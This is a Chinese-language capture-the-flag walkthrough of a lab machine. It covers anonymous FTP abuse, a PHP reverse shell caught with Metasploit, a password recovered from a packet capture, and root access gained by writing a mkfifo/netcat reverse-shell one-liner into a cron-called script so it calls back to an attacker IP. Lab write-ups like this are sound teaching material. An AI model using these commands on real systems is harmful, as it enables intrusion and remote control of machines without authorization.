靶机ip:10.10.45.30
信息收集
nmap扫描
nmap -sS -sV -sC 10.10.45.30
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-01 19:41 CST
mass_dns: warning: Unable to open /etc/resolv.conf. Try using --system-dns or specify valid servers with --dns-servers: No such file or directory (2)
mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --system-dns or specify valid servers with --dns-servers
Nmap scan report for 10.10.45.30
Host is up (0.28s latency).
Not shown: 997 closed tcp ports (reset)
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| drwxrwxrwx 2 65534 65534 4096 Nov 12 2020 ftp [NSE: writeable]
| -rw-r--r-- 1 0 0 251631 Nov 12 2020 important.jpg
|_-rw-r--r-- 1 0 0 208 Nov 12 2020 notice.txt
| ftp-syst:
| STAT:
| FTP server status:
| Connected to 10.11.101.220
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| At session startup, client count was 2
| vsFTPd 3.0.3 - secure, fast, stable
|_End of status
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 b9:a6:0b:84:1d:22:01:a4:01:30:48:43:61:2b:ab:94 (RSA)
| 256 ec:13:25:8c:18:20:36:e6:ce:91:0e:16:26:eb:a2:be (ECDSA)
|_ 256 a2:ff:2a:72:81:aa:a2:9f:55:a4:dc:92:23:e6:b4:3f (ED25519)
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-title: Maintenance
|_http-server-header: Apache/2.4.18 (Ubuntu)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 21.40 seconds
发现存在21,22,80端口,其中21端口可以匿名登录
21端口
直接匿名登录
ftp anonymous@10.10.45.30


发现存在一些文件全部get下来,其中ftp目录是空的
ftp文件分析
important.jpg

没啥用
notice.txt

看样子貌似跟下载文件有关?(并不确定)
80端口

首页什么也没有,直接扫目录
gobuster dir -u http://10.10.45.30/ -w /usr/share/wordlists/dirb/common.txt -z

发现存在/files路由,访问一下

发现是我们通过ftp匿名登录获得的内容
获取主机权限
MSF获取普通权限
发现在ftp中的文件可以在http中访问到,所以我们就可以通过ftp上传木马,通过http执行,从而获得服务器的权限
在之前我们从ftp下载文件的时候发现ftp目录是具有可写权限的,所以我们就通过这个目录上传文件
先生成一个php反弹shell的木马

将该木马传到机器的ftp目录下,此时通过http可以查看到此文件

使用msf创建一个监听
use exploit/multi/handler # 使用 exploit/multi/handler 模块
set payload php/meterpreter/reverse_tcp # 设置php的攻击负载payload

将参数设置好
set LHOST 10.11.101.220

run启动
在http上点击shell.php

msf回连成功
利用python -c 'import pty;pty.spawn("/bin/bash")'拿到交互式shell


在/home目录下发现lennie目录,但是我们没有权限访问
Wireshark流量分析

在根目录发现一些文件,查看一下
recipe.txt

还是没有什么可以利用的信息,继续查看别的内容

在一个我们可以访问的incidents文件夹中发现一个流量包,通过http将其下载到本地

将流量包转移至之前的ftp目录下,就可以通过http将文件下载到本地了

拿Wireshark分析

在流量包里发现疑似lennie用户的密码c4ntg3t3n0ughsp1c3,ssh尝试登陆一下

登陆成功

在/home/lennie目录下找到user.txt
权限提升
继续寻找其他信息,在/home/lennie/Documents下发现一些txt文件

在/home/lennie/scripts下找到sh文件

查看一下

继续查看一下/etc/print.sh文件

我们又可以写入反弹的shell到/etc/print.sh文件中,然后通过planner.sh调用来获得root权限
echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.11.101.220 4445 >/tmp/f" >/etc/print.sh
执行将上述命令

起一个新的监听

几乎是瞬间就接受到了反弹的shell


直接在当前目录就找到了root.txt

说些什么吧!